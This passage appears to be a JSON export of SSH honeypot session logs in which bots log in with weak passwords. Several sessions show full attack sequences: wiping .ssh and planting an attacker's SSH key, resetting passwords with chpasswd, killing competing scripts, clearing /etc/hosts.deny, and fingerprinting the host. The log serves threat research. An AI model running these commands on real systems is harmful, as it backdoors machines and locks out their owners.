AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:52.560912+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:53.303685+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:53.600111+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password1\\nMaxsBDniIhp5\\nMaxsBDniIhp5\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:45:53.894845+00:00","kind":"input","latency_ms":null,"data":"echo \"Password1\\nMaxsBDniIhp5\\nMaxsBDniIhp5\\n\"|passwd"},{"seq":7,"at":"2026-08-27T12:45:54.190492+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:45:54.711395+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:45:55.004753+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:45:55.949134+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:45:56.244187+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:45:57.493406+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:45:57.790991+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:45:58.233837+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:45:58.529987+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:45:58.979019+00:00","kind":"output","latency_ms":null,"data":" 12:45:58 up 7 days, 9:36, 0 user, load average: 0.07, 0.07, 0.05\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:45:59.275025+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:45:59.949171+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:46:00.244234+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:46:00.802552+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:46:01.099156+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:46:01.379010+00:00","kind":"output","latency_ms":null,"data":"top - 12:46:01 up 7 days, 9:36, 0 user, load average: 0.07, 0.07, 0.05\nTasks: 112 total, 1 running, 111 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8579 free, 7308 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:46:01.676290+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:46:02.369961+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:46:02.666295+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:46:03.524215+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:46:03.821059+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:46:04.489089+00:00","kind":"output","latency_ms":null,"data":"ansible"},{"seq":29,"at":"2026-08-27T12:46:04.785276+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:46:05.787325+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:46:06.094453+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T12:46:08.255726+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ansible","password":"Password1","method":"password","accepted":true,"tier":"other"}]} {"id":"5559e721-6a86-4e90-bdf4-92487a3505ca","name":"salty-murky-fossa","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":55536,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:45:53.445340+00:00","ended_at":"2026-08-27T12:45:55.408876+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T12:45:28.295128+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:45:28.622965+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:32.419915+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:34.504039+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:34.833237+00:00","kind":"input","latency_ms":null,"data":"echo \"root:D8eZBoln4LHV\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:45:35.161039+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:45:35.487830+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:45:36.849490+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:45:36.897323+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T12:45:37.178209+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T12:45:39.047620+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T12:45:39.379625+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T12:45:40.876622+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T12:45:41.208040+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T12:45:43.345245+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T12:45:43.673357+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T12:45:45.312953+00:00","kind":"output","latency_ms":null,"data":" 12:45:45 up 7 days, 9:35, 0 user, load average: 0.34, 0.42, 0.4\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T12:45:45.643019+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T12:45:46.771322+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T12:45:47.100930+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T12:45:47.768289+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T12:45:48.092769+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T12:45:48.345632+00:00","kind":"output","latency_ms":null,"data":"top - 12:45:48 up 7 days, 9:35, 0 user, load average: 0.34, 0.42, 0.4\nTasks: 126 total, 1 running, 125 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T12:45:48.671840+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T12:45:49.206951+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T12:45:49.532936+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T12:45:50.015970+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T12:45:50.342822+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T12:45:50.632892+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T12:45:50.962272+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T12:45:53.119339+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T12:45:53.446168+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T12:45:55.312264+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"gb.123456","method":"password","accepted":true,"tier":"other"}]} {"id":"ff00251c-88a1-4a9d-9dcb-00e8ad4b0e5a","name":"tawny-humble-blackbird","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44940,"username":"ansible","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:51.488218+00:00","ended_at":"2026-08-27T12:45:52.474235+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ansible","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"d848c5aa-6d74-4fbf-bb38-b26e85e4d9ba","name":"western-civil-finch","protocol":"ssh","channel_kind":null,"src_ip":"91.218.67.81","src_port":44928,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:50.299842+00:00","ended_at":"2026-08-27T12:45:50.902905+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4cfd5167-90f8-4bff-b7b2-42e0c56d0430","name":"feathered-tranquil-wheatear","protocol":"ssh","channel_kind":null,"src_ip":"63.141.242.2","src_port":64910,"username":"user","client_version":"SSH-2.0-PuTTY_Release_0.70","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:48.811667+00:00","ended_at":"2026-08-27T12:46:42.656205+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"user","password":"kisan","method":"password","accepted":true,"tier":"other"}]} {"id":"0a9c0917-4568-4ddd-b03b-9be891130aed","name":"calm-frank-ibex","protocol":"ssh","channel_kind":"exec","src_ip":"202.155.157.112","src_port":41086,"username":"cuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1447,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:45:40.558808+00:00","ended_at":"2026-08-27T12:45:41.891143+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2250,"events":[{"seq":1,"at":"2026-08-27T12:45:06.398944+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:45:07.506267+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:14.656288+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:14.656765+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:16.301867+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cuser\\n0ejP0ItOWwEX\\n0ejP0ItOWwEX\"|passwd|bash"},{"seq":6,"at":"2026-08-27T12:45:16.896192+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-27T12:45:19.062915+00:00","kind":"input","latency_ms":null,"data":"echo \"cuser\\n0ejP0ItOWwEX\\n0ejP0ItOWwEX\\n\"|passwd"},{"seq":8,"at":"2026-08-27T12:45:19.577600+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T12:45:20.124007+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":10,"at":"2026-08-27T12:45:20.125231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T12:45:21.842898+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T12:45:22.312821+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:45:23.763757+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T12:45:24.322840+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T12:45:25.435175+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T12:45:25.435743+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T12:45:26.814868+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T12:45:26.815937+00:00","kind":"output","latency_ms":null,"data":" 12:45:26 up 7 days, 9:35, 0 user, load average: 0.15, 0.17, 0.15\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T12:45:28.262780+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T12:45:28.263343+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T12:45:29.554765+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T12:45:29.555514+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T12:45:30.994611+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T12:45:30.995020+00:00","kind":"output","latency_ms":null,"data":"top - 12:45:30 up 7 days, 9:35, 0 user, load average: 0.15, 0.17, 0.15\nTasks: 127 total, 1 running, 126 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T12:45:32.577725+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T12:45:32.578286+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T12:45:34.065227+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T12:45:34.065762+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T12:45:35.180174+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T12:45:35.181118+00:00","kind":"output","latency_ms":null,"data":"cuser"},{"seq":31,"at":"2026-08-27T12:45:38.689176+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T12:45:39.455932+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T12:45:40.560028+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T12:45:41.090598+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cuser","password":"cuser","method":"password","accepted":true,"tier":"other"}]} {"id":"3a8dc6c6-23f1-4d90-bd5d-43805cefd14e","name":"muted-granite-koala","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45466,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:31.117745+00:00","ended_at":"2026-08-27T12:45:32.320954+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c23a44c5-a723-4247-855a-f2824f680fc6","name":"mighty-gentle-raven","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":45450,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T12:45:29.367940+00:00","ended_at":"2026-08-27T12:45:30.466394+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"8b312082-94b9-4a3e-a9b9-706b74821f85","name":"dutiful-murky-petrel","protocol":"ssh","channel_kind":"exec","src_ip":"187.111.28.131","src_port":59826,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":442,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T12:45:18.685494+00:00","ended_at":"2026-08-27T12:45:20.012052+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T12:44:58.126773+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T12:44:58.567916+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T12:45:02.351326+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T12:45:02.608557+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T12:45:03.049957+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UCJJCBftw1CE\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T12:45:03.490628+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T12:45:03.929779+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T12:45:04.829039+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T12:45:05.270246+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T12:45:06.614006+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T12:45:07.061566+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T12:45:08.012885+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T12:45:08.459264+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T12:45:09.180582+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T12:45:09.621016+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T12:45:09.908931+00:00","kind":"output","latency_ms":null,"data":" 12:45:09 up 7 days, 9:35, 0 user, load average: 0.11, 0.14, 0.13\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T12:45:10.353191+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T12:45:11.152540+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T12:45:11.594669+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T12:45:12.021025+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T12:45:12.463322+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T12:45:13.199326+00:00","kind":"output","latency_ms":null,"data":"top - 12:45:13 up 7 days, 9:35, 0 user, load average: 0.11, 0.14, 0.13\nTasks: 105 total, 1 running, 104 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T12:45:13.639268+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T12:45:14.278380+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T12:45:14.720365+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T12:45:15.566141+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T12:45:16.005891+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T12:45:16.367235+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T12:45:16.810927+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T12:45:18.239090+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T12:45:18.686403+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print 